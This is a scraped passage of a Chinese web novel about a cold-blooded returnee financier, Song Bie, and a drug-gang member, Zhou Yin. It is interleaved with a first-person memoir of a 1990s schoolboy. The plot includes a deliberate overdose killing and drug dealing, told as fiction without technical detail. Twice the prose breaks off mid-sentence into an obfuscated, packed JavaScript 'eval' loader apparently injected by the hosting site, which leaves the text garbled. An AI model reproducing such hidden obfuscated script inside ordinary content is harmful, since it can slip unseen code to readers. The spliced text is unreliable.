我没领悟过这些平凡的痛,以至于到真正刺骨磅礴的痛来临时,会让我那么的措手不及。大概是上天赐给我冷漠的惩罚,利剑直逼,劈断我任何回旋余地。 后来再想起,九六年,九七年,九八年这几年灿烂夺目的辉煌,则更像是我的回光返照。我的命运并非缓坡向下,而是断崖横生,故而,才更让我如梦初醒。 那时我的耀眼已经难以用星来形容,而是应该用太阳。 这要多仰赖于我的语文老师。 她对我有种复杂的情感。 语文老师是贫困地区出来的女大学生,靠自己的努力拼搏稳扎稳打才在澄州安家,有了一席立锥之地。所以她一直信奉的都是只有努力才可以得到一切,只要努力就可以得到一切。 我的出现是她信仰的裂缝,在我这里,所有的一切都十分轻松,不费吹灰之力。她平常喜欢写文章,算是个文人,身上也带着文人的习性和傲气,在别的学科都不遗余力贬损语文的时候,她同样也看不起他们。觉得他们刻板,枯燥,枷锁太重。 语文老师也是唯一一个没有因为我中考数理化全满的成绩而对我过于刮目相看的人,她反倒觉得,我是刻板中的刻板,枯燥中的枯燥,只是把规律运用纯熟,又有那么一两分运气做保,她反倒是很钦佩我的努力。 可是真正接触下来,才发现,我并不是她想象的什么努力的人,我也在任何课上随时走神,酩酊大睡,下课也懒得看书,一眼就会的题目更是一带而过。 大约就是她嘴里的眼高手低。 她等着我进入高中以后成绩跌落,好得以维护她的信念。可是没有,我蒸蒸日上,居高不下。 另一方面,我打破了她的第二个“相信”。我的语文成绩并不像传统那样和理科比起来略显平庸,反倒依旧很好,更难得的是,我和她一样,也带有两三分文气。 我不是被镣铐锁住泛式化的无脸人,我有自己的思考,有自己的灵魂,我这样骄傲的人难以被世俗规训和拷打。 在高中的第一节作文课,标题是乡愁。我觉得这题目挺完蛋的,我们大都是土生土长的澄州人,刨除旅游之外,走的最远的地方也莫过于外出写生的郊外公园,十六七岁的年纪,何谈乡愁。 于是我写:我写下这篇,用以慰藉日后乡愁汹涌。 我写澄州的花草树木,写我骑着崔克蝴蝶常经过的那条澄州河,写下面的船上南来北往的人群,也是带着乡愁来,拖着乡愁走。 最后我写,我竭尽所能为他解愁,却也只我此时稚嫩文字,也会成为他割舍不掉的哀愁。 当时或许存了想要尽力展示华丽词藻的心思,但我也没有想到,最后这句,竟然真的会一语成谶。 这篇文章交上以后,我在语文老师那里大为改观,她以为虚耗光阴,不知所谓的我写出来的东西也只能是规训下的产物,可她不得不承认,我这样的人,才最不容易被戴上镣铐。 从此以后她就钦定我是御用撰稿人,为校领导,老师之类的润色过不少文章,还在她的引荐下把文章投稿到某些杂志上。 于是我在学校里又多了一层他人无法企及的光环。 直到后来的很多年以后——故事里似乎都喜欢用这一句当做界限来分割——多年以后的某一天,我路过旧书摊,看见上面摆放着我曾经投稿的杂志,上面的日期恰是九六九七那些年,于是我翻开,在上面终于找到我泛黄模糊的文字,已经有些看不清了。 我努力辨认,终于剥开一句话,这个凛冬终于过去,而他也随冬而去了,死在春风吹雪融的那天。 这篇文章具体是什么内容我已经不记得了,然而这样幼稚又矫情的笔触,就足以让我欲哭却无泪。 那时我站在老街前,手指拨弄着那本被岁月风干的纸张,看着上面已经含混不清的笔名,我看不出那几个字究竟是什么,也已经想不起,多年之前承载我荣耀的这几个字到底是大千世界的哪一个。 写到此处,不得不提隔壁班那个小个儿了。 我们两个是同一个语文老师,同样被冠以天才的名号,却是两个截然不同的人。她有语文老师欣赏的努力色彩,却也是把规则运用最纯熟的人。 我的文章登在报纸杂志,她的文章被印成册子,年级里人手一本,让我们向她学习。语文老师说,应试考试里的作文就是带着镣铐跳舞,而她是舞蹈最好的那一个。 我不知道怎么,时不时,不经意就会关注到她,这绝非廉价又不怀好意的喜欢,只是我的心天然与她热络亲近。 我了解她很多,努力用功,不爱说话,我当然也看得清她眼底潜藏着的不屑和高傲,这让我心猿意马,如同寻觅到了伯牙的钟子期。后来我真的爱上了这个小个儿,爱上了宋别,那时我已然分不清,到底是什么时候开始皈依于她的,究竟是十年前,还是十年后。 时间长腿似的往前跑,年龄越大,我也就越来相信定数这个东西。往前看,以后的未来都是这样合理,那一座小小中学里,没有人的成就超过她,也没有人的罪恶可以盖过我。 我曾有一瞬成为她面前的高山,却在往后的岁月里,俨然走向另一个极端。 2. 宋别见她挂断了电话,已经兀自点燃了一根烟,烟灰毫不顾忌地磕在阳台上,轻笑出声:“有够敬业的啊,林记者。” 这话里带着两三分明晃晃的嘲弄,连她眼底的不屑也丝毫不掩饰。林康安其实知道,宋别挺看不起她的。不是说别的什么,只是觉得她傻,好好的名牌大学生学什么不好学新闻,做什么不好做记者,又苦又累又没钱,真不值当的。 她以前还劝对她说:“总得有人做这事。” 宋别反倒冷嗤一声,说道:“意思就是你不做也有别人做,林康安,别太把自己当回事,收收你的英雄主义革命精神,人活一辈子,到时候撅在那儿,谁记得你是谁?就算记得,死都死了顶什么用。无非是时不时训诫一下后生,让你死了还不得安宁。” “都像你这么想,这社会不完蛋了?” 她的笑意更深了,附在这样一张皮囊上,总让人有瞬刻的沉陷:“我算个什么东西,怎么就代表社会了?社会上谁都有自己的角色,你做你的英雄,我做我的小人。该钦佩钦佩,该赞扬赞扬,可我不走你们的路。” 她被宋别说得哑口无言。 尽管是两姐妹,在一起朝夕相处了那么多年,她也忽然生出一种道不同不相为谋的感觉。 为什么这样说?因为宋别也实在不是个庸人。如果她只是个苍茫人海尔尔,那么她的路谁在乎,她不会影响任何人。可她不是,到她那位置,权柄有一些,影响也不会小。 林康安已经习惯,不去理会她的嘲讽,觑她一眼,转身从阳台进了自己房间。 宋别也不是不敬业的人,在医院耽误了些天,也是该到她的山头转悠转悠了。 公司奉行狼性文化,对她这样的柱石待遇也好得没话说。尤其是这次外派回国,提前就安排好了一切。房子在澄州最好的那地段,金肯国际公寓。还早早配好了车,基本上衣食住行都是走公司的账,用不着她掏一分钱。 宋别现在是真的只进不出,一毛不拔了。 账户余额对她而言成了一个长串数字,没什么概念,只知道花不完。越到这个时候,她也越是不理解林康安,这姐姐当年跟她考上的是一个大学,混到现在可连买辆好车都够呛的。 她理解不了林康安,也懒得去理解,更不会要求林康安理解她。宋别知道自己实在是说不上好人,守在底线之上,无恶不作。 烟嘴咬进牙齿那么长时间,没给她排忧解难,反倒更加烦躁了。她干脆把烟掐了,扔进一边的垃圾桶里,从盘子里捏了块苹果填进嘴里。 澄州最近正值盛夏,树上的蝉扯着嗓子嚎叫,光洒下来,烤得大地都掉了一层皮。 宋别挑了个好日子到公司,虽然是在中国,和远在北美的总部却没什么太大的区别,各色人种,中文和英语的使用程度不分上下。这儿的人也都是猴精,从最初认命的红头文件下发开始,一整层楼的人都在猜测这个新来的头儿是什么人物。 住那三天院的时间,公司里滋生了关于她的不少传言,说什么铁血手腕,雷厉风行,又说什么心狠手辣不择手段。 以至于宋别踩着高跟鞋走进去的时候,看到的就是从PM到基层员工,个个风声鹤唳,恭敬叫她:“Ms.宋。” 她淡笑点头,走进自己办公室,随后蒋助理就跟了过来,把一沓文件放到办公桌上,对她说:“您之前吩咐的PM上个月的工作总结和报告,还有对澄州几家公司的分析都在这里了。” 宋别大致看了一眼,轻笑了一声:“如果集团没有派我回澄州的话,坐在我这个位置上的人会是谁?” 蒋助理愣了一秒,随后立马回答:“是奥利弗。” “奥利弗,他不是中国人吗,中文名叫什么?” 蒋助理回答:“贺普。” 宋别在心中笑,放着好好的中文名不叫,装什么假洋鬼子。这个贺普的资料她格外留意过,能力挺强,也挺服众,之前问过她在这儿的一个眼线,说是没见人发过火,以前手下人捅了娄子,还是他给解决的。是个老大哥,笑面虎。 在她来之前,已经不少人拿他当老大了。 今天看见她这么年轻,估计也有不少人心里不服气。宋别懒得去管别人心里怎么想的,她奉行的原则只有一条,能者上,庸者下。 管你用什么手段,谁能给她带来最大的利益,谁就是她的心头宝。 她摆了摆手,对面前的蒋助理道:“你先出去吧,让贺普进来。” 她的办公室有一面全透的玻璃,百叶窗不拉上,隐隐是能透过光影看到里面的。宋别也懒得遮掩,翻着那些资料等贺普进来。这些她已经看过一遍,现在再让PM自己写,也是想看看出入。 贺普很快进来,将近四十的年纪,一身黑色西装,没有一丝褶皱,连头发也打理的一丝不苟。中国人的肥胖率远低于北美那边,他估计平常也挺讲究饮食运动的,身材保持得还不错。 “Ms.宋,你找我。” 宋别收回目光,落在那一沓文件上:“我看了你们的工作总结,差不多手里的活都要结束了,最迟也就是小半个月。到时候攒个局,给你们开个庆祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她一开始本来就是做PE和VC出身,华尔街的投行不是没进去过,待了一个月之后也终于知道凭什么人家能挣钱了,一个个跟打了鸡血一样,喝咖啡不行就吃药,吃药不行就来点麻的,麻的不行来点卡的,卡的不行来冰的。 刚开始她还觉得北美的人都有病呢,直到看见大BOSS亲自下场给一个业绩突出的人庆祝,满天撒钱,香车美女,不可谓不是人生赢家。她在下面看着,是真的眼红。 到贺普这里,只是一辆车而已,算不了什么。 第一天的工作并不怎么繁忙,她大致熟悉了内部结构,又盯着大盘看了一下午。和人联手做空的那支股票终于支撑不住,出现好几个跌停板,她以极低的价格抛出,吞了不少钱。 收盘之后,她也懒得再待,收拾收拾直接下班回家。 宋别去地库开了车,想了想,换了个导航方向,在上面输入“光明修车行”五个字。白杨路在城北,和她爸妈家是两个地方,但和公司离得很近。 她把油门一踩,不到十分钟就到了那里。 恰巧的,周寅正站在门前,他上身穿一件白色短袖,估计是工作常穿的,已经不能称为白色,浑身上下沾满黑棕色的油污。 他正跟人说这话,没注意到她的到来。 “别怪我没提醒你,那小子可不怎么老实,既然出来了,尽快解决。” 周寅从裤子口袋里拿出一盒烟,从里面抽出一根咬进嘴里,而后利落点燃,他话不多,只说了两个字:“知道。” 随后那人拍了拍他的肩膀,神情晦涩,嘱咐他:“小心点做事儿,别留尾巴。” 宋别在车里听不见他们说什么,尤其还隔了一趟往回行驶的车流。她把车往前开了一段,到路口那里转回去,之后稳稳停在光明修车行门前。 两个人都把目光投向那辆车,看见她从车上下来,周寅的眉头微不可查地锁了一下。反观他身边那男人,看见她眼睛一下子就亮了。 “宋别。”他的语气疑惑:“你怎么来了?” 她倚靠在车上,闻见烟味儿,心里的瘾虫也被勾了出来,摸了摸口袋,想起烟盒都被她落在办公室。宋别抬起头,直接从他手里夺过了烟,咬进自己嘴里,抽一口,烟雾从嘴里散出,她仰头笑说:“周寅,我仔细想了想,觉得这桩生意不怎么划算。” 周寅被她夺过烟,也跟着错愕一下,问她:“怎么不划算?” “谅解书我签那么利索,钱我可一分没要。周老板算算,划算吗?”她把烟从嘴里拿出来,他看见,烟嘴处已经沾了她一圈淡淡的口红印。 红得像血。 他不自觉把目光转向她的嘴唇,也是那样的红。她的嘴唇和别的姑娘精心呵护到容不下一丝褶皱不一样,上面残存着干涩的纹路,他不知道怎么,竟会把这个出手阔绰的女人,和“风尘”两个字联系起来。 宋别伸手磕了磕烟灰,眼神一动不动看着他。 周寅想到什么,对她说:“请你吃饭成吗?” “成,你挑地方。” “那好,我去换身衣服。” 周寅话落,转身进去,他身边的男人意味不明地看了宋别一眼,也跟着走了进去。 他们一块上了楼,孟良倚在门框上看套头脱衣的周寅,冷不丁问道:“周寅,搁哪儿认识这么一妹妹,开的还是黑牌车呢。” “高远撞得那司机记得吗,她是乘客。”周寅简略回答,很快换上一件白短,“当时你不愿意跟那些人打交道,我才去淌这趟浑水,想起来了吗?” “操。”孟良暗骂了一声:“便宜你了,早睡早爽。” “滚。” “这妹妹漂亮是漂亮,可别哄得你忘了正事。” 周寅没理他,低头看着手机,发过去了一条消息后收起来,从柜子夹层拿出一个东西,放在手里掂量了一下重量。 孟良提醒:“记得消音器。” 他想了想,还是把它放回去,换了一样东西,一样并不那么痛苦的东西。 7. 第 7 章 1. 如果说叛逆,中学时期我确实也叛逆过一段时间,不过也仅是在老师眼中。我和我爸妈都不认为我那是叛逆,以至于老师把他们叫到办公室时,他们还在为我辩解,这是小孩子的天性,我们不能太压制了。 班主任实在没办法,瞪了我一眼,让我爸妈先回去了。 中学时期确实是我难以忘怀,深刻铭记的一段时间,大概是往后的日子太过痛苦,反衬出那时的生活,究竟有多么美好。 我不是什么不食人间烟火的高山雪莲,如狐朋狗友说的,我十分亲民。大概是因为我骨子里真的是个普通人,对于那些拥有诱惑力的东西一向无从抵抗。 我从很早就明了,上天给了我无可比拟的外在优点,却不肯施舍给我一分一毫与之相配的高贵品质,我一直都知道,这是我的罪,无关任何人。 九几年正好事事都赶上风潮,连带着学校旁边的网吧,游戏厅,都如雨后春笋一样冒头挣扎出来,我也不免上瘾,迷恋上一款叫做红警的游戏。 学校里的男生几乎都玩这款游戏,我们这儿的住宿生很少,但很多人家里没电脑,于是一放学,就跑到网吧抢机位,每天还会攀比红警通关数。 体育课的时候,我和那两个关系好的男生约定好一起逃课,从操场那一端翻墙出去,然后就可以直奔后巷的网吧,一节课四十五分钟,我们可以比别人多半个小时的游戏时间。 我们商量的很好,每隔五分钟出去一个人,以防体育老师发现。我是中间那个,看前面一个人出去了,拿余光左右观望一下,见没人注意,也悄悄把阵营换到了墙根底下。早早放在那里的书包往外一甩,我也紧跟着利落地翻身上墙,三两下爬到了墙头,背身跳了下去。 感觉却不太对,好像踩到什么,一下给我摔地上了,然而并不怎么疼 我捂着腰起来,看见身下压着一个人,软乎乎的,合着刚在给这个哥们砸地上了。我连忙起身,给他扶起来,嘴里说着不好意思。 他也穿着一中的蓝白校服,看样子应该是同道中人,嘴上骂骂咧咧的,骂我是不是没长眼,怎么不看着点愣往下跳。我理亏,没回嘴,然而等把他扶起来,两人对视上那一眼,竟然是老熟人。 那次我因为英雄救小救了隔壁班那个小个子,好像踹到的就是他。怪不得说,不是冤家不聚头。他显然也认出了我,一把薅住我的领子,眉毛倒竖:好小子,又是你,就那什么叫谢琅的是吗,这次可让我逮着了! 说实话我的身高挺优越的,但奈何身高窜的太快,以至于身上就没什么肉,比不得面前的人壮实,但还是秉持着掉什么不能掉面,输什么不能输气势的原则,我也瞪圆了眼,学着电影里混混的腔调问他:就是你爷爷我,想怎么着啊? 他也横:上次没来得及教训你,这次倒好,你自己送上门来了! 那人说着,正举拳头吓唬我,一个书包就从天而降,好巧不巧砸在了他的面门上。我们的留堂作业很多,且高一没有分文理,科目也多,这个书包照着砸下来,我都听见惊心动魄的一声。 他一时不防,一下被砸到在地上。然后我就看见约定好的狐朋狗友从上面跳下来,正好踩到他的腿,咕噜一声摔在他身上。这哥们又结结实实挨了一下,可真不轻。 狐朋连忙起来,看见我,又看了看地上的倒霉蛋,很有礼貌地把人扶起来,然后问我怎么还在这里。倒霉蛋这一次真是摔得不轻,捂着屁股嗷嗷嚎,站起来指着我和狐朋问,你们故意的是吧! 我摆摆手,大哥,真不是,真是你倒霉。 他说别说这么多没用的,咱俩新账旧账一块算,有本事一决高下! 然后本来打算去网吧的我们就改了道,转向另一边的游戏厅,决定要在游戏机上一决高下。爸妈从不吝啬我的零花钱,我也并不是什么摆款拿乔的人,故而这几年都攒下不少。 今天想着那倒霉蛋实在是太倒霉了,也是我把人家踹了一脚,又给我当了一次肉垫,还被我的狐朋砸了一书包,于是就大方的请他们到游戏厅随便玩。 这倒霉蛋没有真的要揍我,看我这么大方,干脆搂着我肩膀,豪气干云地说,挺敞亮啊,你这哥们儿我认了,以后报我龙哥的名字,准好使! 我笑笑,没说好,也没说不好。转头握上了手柄,玩一个叫拳皇的游戏。 那时候我十五六岁,不去过问大人的生活,再我所见少年人的世界里,好像这样一句两句地认大哥认小弟已经成为风潮。我们急切地迈步去成人世界,拉帮结派,认识不认识都可以喊一声朋友,幼稚地营造属于自己的“江湖”。 其实我们什么也不懂,我也自以为是的藐视他们的幼稚无聊。但在倒霉大哥用手搂住我肩膀认我兄弟的时候,我的血液里,胸腔中,还是隐隐有些东西在膨胀。 其实我并不是真脱俗,只是假正经。看《古惑仔》,听乱世巨星时,我也心猿意马,热血煎熬。但我自恃天才,又难以委身去同流合污。我知道,群体中多的是乌合之众,我也知道,乌合之众是由一群拥有自我意识的个体组成。 这时所谓的“江湖”就是认识多一些人,今天你和我谈恋爱,明天她和他谈恋爱,三五成群走在街上,幼稚地吸引旁人目光。这个“江湖”跟古惑仔毫不沾边,跟什么都不沾边,宛如一个四不像。 后来我真的成了一个真正意义上的江湖中人,成了古惑仔里面一个籍籍无名的背影,流过血,握过枪,游走边缘,身上最硬的不是骨头,而是拳头。那时我再想起这一段时光,想起倒霉大哥握着我的肩膀头和我称兄道弟的日子,竟然恍然发觉,那时的幼稚的江湖,不是四不像。 而是我们仅凭臆想建造的,乌托邦,理想国。 年少无知的生活太枯燥无聊,无聊到竟让我向往腥风血雨,剑影刀光。 2. “冷暖哪可休,回头多少个秋,寻遍了却偏失去,未盼却在手,我得到没有,没办法解释得失错漏。” 宋别的车上放着一手粤语歌,车窗被关起来,冷气不知道从哪里吹过来,车内的温度很低。 周寅之前在广东一带待过一段时间,粤语不说纯熟,但都听得懂。这首歌是陈百强的《一生何求》,挺多年前的老歌了,千禧年之后就少有人再听。 他随意地同她聊天:“这首歌挺早的了。” 宋别点点头,没有抽烟,脚下的油门暗自踩了下去:“十八岁我就去了北美,有次大街上正放这首歌呢,也想家呗,从那以后就老听。” 周寅问她:“能听懂吗?” 宋别说:“听不懂,不会粤语。” 周寅于是用普通话同她重复了一遍歌词,一生何求,迷惘里永远看不透,没料到我所失,竟已是我所有。 宋别侧目看了一眼他,他的肤色绝说不上黑,但没以前白了。她试图去回想曾经,那些爬满青苔的过往,可怎么想怎么模糊,只记得挺好看的,孔子说食色性也,她那时小小年纪,喜欢上他的第一要义也不过是色欲而已。 车子在一家餐厅前停下,不知道是不是宋别为了照顾他,档次并不是那么高,就是家小馆子。周寅很快注意到,这里人来人往的,比别的地方都要多些。 澄州地处北方,有的店不到十点就关门了,八九点就开始寂寥少人,现在十点半,附近店的灯却都还亮着,街上多得是穿校服来往的高中生。 他认出来了,这是澄州一中的校门口。 “在这儿吃?”周寅侧过头问她:“会不会太吵了。” “吵才好,有人味儿,走吧。”宋别把安全带解开,拉着他下车,两人往里走的时候,自然地就把手挽在了他的胳膊上,连周寅都没察觉有什么不对。 宋别领他进了一家小炒店,里面人挺多的,大部分都是刚下晚自习过来吃饭的学生,高中生压力大,饿得也快,宋别以前在这里读书的时候也和他们一样,一日三餐还不够,晚上还要来这里加餐。 他们在老板娘的指示下坐到角落里一张桌子,宋别拿过菜单,随便点了几个菜,然后抛给他,周寅又给添了两个。 他首先开口:“高远的事,谢谢你…大人大量。” “没办法。”宋别拿桌角顶开一瓶啤酒盖,对嘴吹下去:“谁让是你来求我呢,舍不得拒绝。” 这话说的有些暧昧不清,这似乎不是他的错觉,每次这个女人看他的时候,周寅都觉得……该怎么形容呢,那种目光,如狼似虎的。 他也挺想不明白的,开银刺的人,能图他什么。 这一身娇身贵肉,周寅也不会存心思高攀。 “数学好难啊,感觉上了高中以后什么都学不会了……”隔壁桌的两个女生边吃饭边聊天,“最后一道函数题你解出来没有?” “别说了,我算的X等于一,可是题目上都说了X的范围是大于一的。”另一个女生同样哀叹,愁眉苦脸地拿筷子戳了戳盘子里的菜,又说道:“哎,你说周琅到底是怎么学的,怎么什么题他都会。” “人比人气死人啊。” 宋别听着两个小姑娘的对话,约摸听出了几分,她们嘴里的周琅应该是个学习挺好的人,学霸学神之类的。 十多年前她在一中上学时也常来这一条街上加餐,MP3里放英语听力,偶尔也放一些流行曲,她挺喜欢听粤语歌的,就是因为听不懂,听得懂了就要动脑动心思,人就那么多精力,她得分给有用的事上。 她常常只戴一只耳机,留一只耳朵,听身边的嘈杂。宋别喜欢人多的地方,像小时候蹲在树下看蚂蚁搬运食物一样,她也喜欢看这些密密麻麻的人谈论一些无关痛痒的话,喜欢看他们的平庸,无能,无力。 每当这时,她的血脉里总会耸动出一种莫名的兴奋。 十年前坐在街角吃饭的男生女生没少讨论过谢琅,翻来覆去那些车轱辘话,又考了第一,某某比赛又拿了奖,又在杂志上刊载了文章,又有哪个女生跟他表白被拒绝了。 现在物是人非,流转在别人口中的名字已经换了一番。 他们的菜已经上来,宋别没太大食欲,随便吃了两口就撂筷子,又往嘴里灌了两口“雪花”,而后开始点烟。 这里人多,大部分都是学生,也有一些和他们一样的社会人员,对在公共场合抽烟的人都挺看不惯,已经有三两个白眼飞过来了,她跟看不见似的抽的更猛了,二手烟全熏在周寅脸上,他也像看不见。 “你好女士,我怀孕了,闻不了烟味儿,能行个方便吗?”有人像是受不了了,走到她面前,捂着鼻子提醒。 周寅也吃好了,坐在那儿没说话,拿纸巾擦擦嘴,遂后就当着那位孕妇的面点了一根烟。他们那一桌立马又升腾起一簇烟雾,顿时云山雾海,烟熏火燎。 宋别拿手指磕了磕烟灰,妖妖地笑起来,用烟指向她的孕肚,烟头和肚子之间就只有几厘米的距离,吓得孕妇猛地往后退了一步。 等稳下来,才听见宋别开口:“我的种?” “你神经病啊!”孕妇尖叫出声,狠狠剜了她一眼,估计是真觉得她有病,转身快步离开这片是非之地。 原本把目光投射过来的学生们也纷纷收回,像是生怕招惹一样。刚才讨论题的一个女学生偷偷去瞄他们,想到一个成语——善男信女。只不过他们是相反面。 宋别把烟按灭,掸了掸身上的烟尘,走出饭店。 周寅咬着烟去结账,掀开泛黄的门帘,打眼儿就看见她站在街角,吊儿郎当转着手上的车钥匙,三三两两的风把她鬓角的头发吹起来,弯弯绕绕,像一浪翻出一浪的潮汐。 她正好转头侧目看过来,那一瞬,他有片刻的晃神。 “周寅。”宋别他的名字,在他走近时把车钥匙抛给他:“我喝了酒,你开车。” 周寅稳稳接住,拉开车门坐进驾驶座。开车前,问了她一个问题:“宋别,你就不怕我是什么坏人?” 宋别扣好安全带,从中控台的储物箱里拿出一个东西,而后扯过来他的手,把那东西塞进他手里,又慢慢握起来。 小小的物件在周寅手中感受到重量和形状,一头尖,一头钝。他十分清楚这到底是什么。 “子弹。”周寅笑笑,放在手里掂量掂量,故作不识:“真的假的?” 宋别也笑:“你猜猜。” 他其实并不用猜,那个重量和质地他再熟悉不过,十有八九是真的。 周寅抿了抿唇角,将那颗子弹塞进口袋里,没有再继续这个话题。银刺,黑牌车,北美,子弹。 这些因素联系在一起,让他对这个女人的印象翻了一番。她不是个普通的什么千金大小姐,这姑娘挺匪的,但和他应该不是一路人。 周寅上次送过她一次,这次也自然往那开了,车里放着另一首粤语歌,谁都没再说话。 他降下一点窗户,又点了一根烟。 这支烟的味道和上一支不太相同,很香,凉凉的香,有股薄荷的凉。却没那么刺骨寒。 宋别没闻过这种香味,她不爱喷香水,但曾为了凑分进过一个相关社团,对各种香的味道都有研究。然而这个不像任何,花香,木香,包括一些人工制的味道。 这种味道让她有些熟悉,好像在哪里闻过,一时却又想不起来。 不知道是不是喝了酒的原因,宋别的头有些晕,一动脑想就更晕了。干脆闭上眼,把大脑清空。 后来她再想起这股香味,是在墨西哥的锡那罗亚州,那里遍布着幽灵一样的罂粟花,成熟之后,蕴藏的吗啡就开始散发香气。 那股香味,和此时的这股烟香,和北美费城上笼罩围困的大麻香,异曲同工。 那时宋别以为这辈子身上都只会有一种味道,那就是满身的铜臭味,却没想到,她为数不长的此生,会再和另一种味道有如此深的纠葛。 鸦片的香。毒祸的味道。 周寅侧头看了一眼身旁已经熟睡过去的女人,一绺头发正从从她脸上滑落,覆住小半张脸。说不清是强迫症还是怎样,他忍不住把那缕头发给她掀上去,别在耳后。 脸够小的。 他彻底打开窗户,熄灭了那支烟,随手撇在窗外,在下一个路口,一打方向盘,开往了另一个方向。 车子开的并不快,大概半个小时,才在一栋老楼前停下来,周寅坐在车里,又点了一根烟,眼神始终停在上面的某一楼层上。 直到嘴里的这根烟燃尽,周寅才打开车门走下去。这座小区很老,电线都裸露在外面,覆满棕白的鸟的排泄物。住在里面的大部分都是老人,年轻人很少,在夜里还能听家谁家的猫和狗在叫。 楼道里的灯闪烁着,明一下,暗两下,楼梯的扶手早已经生锈,下面也是黑色的石灰,没铺地板。周寅边顺着楼梯往上走,边拿出了一双黑色手套戴在了手上。 他一路走向四楼,站在一家门前,拿出钥匙打开径直走了进去。屋子里没有一丝光,周寅也没有开灯,黑暗里驾轻就熟进了里间。 快来了。 * 高远回来的时候,隐隐觉得有些不对。但想了想,大概也是出于自己做贼心虚。他和那个叫林康安的记者约定在后天,到时候……到时候。他把手放在灯开关的上时,随着整个房间灯光亮起,他清晰地听见一声把手按压的声音。 紧接着,周寅转着打火机出现在他的视线中。 高远吓了一跳,猛地往后退了一步,瞳孔骤缩,看他犹如鬼魅。 “寅……寅哥,你怎么来了?” 周寅比他泰然多了,转身坐到沙发上,金属打火机在他手上转着,有些刺眼:“来跟你说点事——这么晚才回来,干嘛去了?” 高远见他神情自若,也松了一口气,料想他应该没发现他的事。于是随口扯了个谎:“去跟那几个哥们搓了一顿,寅哥,你这个点找我要说什么事,还亲自来一趟?” “来了点新货,这不是照顾你。” 周寅说着,从口袋里拿出一小包东西,白色的,被装在塑封袋里,他轻抬眼,毫不例外地看见他眼里一闪而过的恐惧。 “这个纯度高。”周寅站起来朝他走过去,边说边打开塑封袋,两指伸进去从里面取了点粉末,递到他面前:“试试。” 高远眼中的恐惧逐渐消弭,他的目光挪向周寅的手指,定格在上面白色的东西上,瞳孔颤动。他想要回避,转过头,却又再次转回了过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周寅曾经很享受俯视的感觉,喜欢受他人仰望,但是现在,他所处的高处是用罪恶和鲜血堆砌的,他还在享受吗? 他垂眸看了高远一眼,又偏过头,拿出另一样东西,是一包针剂,高远看见,情绪更加激动,伸手去够。 周寅继续开口,重复刚才的话:“告诉我,和你联系的那个人,是谁,叫什么名字?” “林康安!她叫林康安!”高远费力喊出来:“她不是警察,就是个记者,我有她号码,写在日历上,九月二十一号那天,我怕你和良哥发现,不敢用自己的手机联系……” 周寅得到自己想要的答案,把东西扔给他。转身去找那本日历,在九月二十一号那天下面歪歪斜斜写着一串数字,他看了一眼,把这串数字记在脑海。而后熟练地把一切恢复成原来的样子,路过客厅时,高远已经颤颤巍巍地撕开了包装,安装好器具,握着针朝自己的静脉扎进去。 液体缓缓推进血管,他整个人也好似抵达巅峰,双眸已经开始涣散,眼前的事物变幻扭曲,散发出惑人的光,不像是人间,像是天堂。啊,天堂! 周寅收回目光,转身离开,轻关上门。 没有人比他清楚,高远活不过今晚。不用黎明来到,他就会因为吸毒过量而死。和瘾君子交易,那个叫林康安的记者不会想不到这个结果。 他顺着楼梯走出去,摘下手上的手套,沉寂地往下走。楼道里的灯光还是那样,明一下,暗两下,明的那一下也没有多少光,没能照亮路,反而引来一群扑火的飞蛾。 这栋老房子里没有几家还亮灯,就算有人,也都不关心谁家发生了什么事。他在想高远要多长时间才会被人发现,不知道记者知不知道他的住址,快的话,她联系不到,然后报警。 慢的话,澄州这个温度两三天就会有味道。 他择不出去,少不了要警察局走一趟,但他们不会有任何证据。 周寅想的有些头疼,这些事对他来说其实过分简单,他知道怎么最大程度的处理好,也猜得到警察的问题,更晓得如何回答。就是这些轻车熟路的事,让他厌恶。 他大概不是个什么合格的匪徒。 走下楼梯,那辆黑牌的银刺稳稳停在原地,车内的女人安然睡着,副驾驶的位置又被她调大角度,半躺在上面,一只手盖在眼睛上。 他进去车里,现在已经十一点多了,在澄州说得上是深更半夜。她的手机在中控台上来回闪烁着,估计是她家人打来的电话。 周寅拿起来看,来电显示上不断跳跃着那三个字。 林康安。 这三个字,那个日历本上也歪歪斜斜地写着。 是巧合吗? 周寅转头看了一眼熟睡过去的女人,手慢慢伸向她莹白的脖颈,在这里就这么掐死她不是难事,抛尸荒野也不是难事。难的是他对她的背景一无所知。 出神的片刻,手指已经碰上了那片皮肤。 很凉。 这触感让他意识回笼,重新收回了手。 周寅有理由怀疑宋别对他是有目的的,和那个叫林康安的记者有关,如果是这样就说得通了。为什么她会这么上赶着对他。 如果真是这样,他离死期就不算远了。 但或许也真是巧合。周寅不知怎么萌生这个想法,这种事的几率小到微乎其微,但他还是认为有存在的可能。 林康安的电话已经挂断,他拿起她的手机,没有密码,滑动点开,出厂设置的界面,图标下全是英文。 周寅轻松找到通信软件那里,记录一直到几个月之前,她似乎没有删信息的习惯。每一个号码翻找过去,有的用英文交流,有的用中文交流,都是些无关紧要的事。到写有林康安名字的那栏,号码和写在日历上的不同,也可能是私人号和工作号分开。 周寅在这些庞大的信息群中拼凑出她的一些信息,工作是跟钱打交道,最近才回国。再者,就是她亮眼到让人忽略不了的资产情况,多到可以养活两个银行。 没有和他相关的信息。和林康安的对话也仅有两句,也是很多天以前: ——什么时候回来? ——明天。 他是匪徒,又不是歹徒,能少造一点杀孽就少造一点,何况……何况。 周寅正想按灭手机的时候,“林康安”很巧在这时发来了信息:怎么不接电话,爸妈挺着急的,快点回家。 这个语气像是姐妹。他的手指在方向盘上没规律地敲着,思索片刻,无论这个林康安是不是那个林康安,他还是能少露脸就少露脸,但宋别怎么办? 那支烟的劲儿很大,一时半会儿她醒不过来。他想了想,迅速下了决定,把她带回去。车子启动,朝白杨路去。 周寅一路开过去,到那里停好车,去把卷帘门打开,而后从车里把熟睡的宋别抱出来。北美那儿估计没什么好东西给她吃,抱在怀里都没什么斤两,太瘦。 他一路走到楼上,越过难闻的机油味,二楼其实挺干净的,周寅给人放到床上,这里平常只有他一个人住,没有第二个人,床给宋别睡了,他就没地方。 